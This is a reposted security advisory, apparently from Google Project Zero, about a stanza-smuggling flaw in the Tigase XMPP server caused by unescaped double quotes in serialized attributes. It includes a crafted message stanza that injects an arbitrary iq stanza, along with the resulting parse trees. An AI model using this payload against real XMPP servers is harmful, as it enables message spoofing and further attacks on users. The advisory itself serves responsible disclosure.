what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Tigase XMPP Server Stanza Smuggling

Tigase XMPP Server Stanza Smuggling
Posted May 26, 2022
Authored by Ivan Fratric, Google Security Research

Tigase XMPP server suffers from a security vulnerability due to not escaping double quote character when serializing parsed XML. This can be used to smuggle (or, if you prefer, inject) an arbitrary attacker-controlled stanza in the XMPP server's output stream. A malicious client can abuse this vulnerability to send arbitrary XMPP stanzas to another client (including the control stanzas that are only meant to be sent by the server).

tags | exploit, arbitrary
SHA-256 | 80c339179764f04e39876070e482957638cbcf822ccdb04b5cc72ea035585e1e

Tigase XMPP Server Stanza Smuggling

Change Mirror Download
Tigase XMPP server: XMPP stanza smuggling via unescaped qutes

Tigase XMPP server suffers from a security vulnerability due to not escaping double quote character when serializing parsed XML. This can be used to \"smuggle\" (or, if you prefer, inject) arbitrary attacker-controlled stanza in the XMPP server's output stream. A malicious client can abuse this vulnerability to send arbitrary XMPP stanzas to another client (including the control stanzas that are only meant to be sent by the server).

Consider for example the following XML tag

<foo attr='aaa\"bbb' />

which contains a single attribute enclosed in *single* quotes.

When Tigase parses and then serializes the element, it will convert single quotes to double quotes, however it will not escape the double quote. Thus the output becomes

<foo attr=\"aaa\"bbb\" />

Which is invalid XML. The corresponding code for serializing attributes can be seen in https://github.com/tigase/tigase-xmltools/blob/b0c64df99f62b88bec7c152d52027369b6415ada/src/main/java/tigase/xml/Element.java#L845

To see how this issue can be used to smuggle arbitrary stanzas through the server, consider for example the following incoming stanza

<message ...>
<body>
<body a='a\"/>' >text</body>
<message a='a\"/>' >text</message>
<iq>...</iq>
<message a='a\">' />
<body a='a\">' />
</body>
</message>

When this stanza gets parsed by the server, the corresponding tree is

-message
--body
---body with attribute name=a value=a\"/>
----cdata=text
---message with attribute name=a value=a\"/>
----cdata=text
---iq
---message with attribute name=a value=a\">
---body with attribute name=a value=a\">

However, when such a stanza gets serialized and forwarded to the recipient client (or another XMPP server) it becomes

<message ...><body><body a=\"a\"/>\" >text</body><message a=\"a\"/>\" >text</message><iq>...</iq><message a=\"a\">\" /><body a=\"a\">\" /></body></message>

(single quoted attributes became double quoted)
When the receiving client parses it, the corresponding tree is seen as

-message
--body
---body with attribute name=a value=a
---cdata=\" >text
--message with attribute name=a value=a
--cdata=\" >text
-iq
-message with attribute name=a value=a
--cdata=>\" />
--body with attribute name=a value=a
---cdata=>\" />

This works because, after the quote, we used '/>' instead of '>' and vice-versa to change the semantics of the closing tags.

As can be seen in the tree above, the receiving client will consider the iq tag (that was originally a part of the message body tree) as a new stanza at the same \"depth\" in the XML tree as the message stanza.

As mentioned above, this can be used to \"smuggle\" arbitrary stanzas through the XMPP server to the victim client. This can be used for message spoofing (making it appear a message was sent by a different sender), but also, depending on the XMPP extensions the client implements and what data is sent over XMPP, it can have impact beyond that (e.g. potentially redirecting the connection through a malicious XMPP server, code execution).

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2022-06-12.




Found by: ifratric@google.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close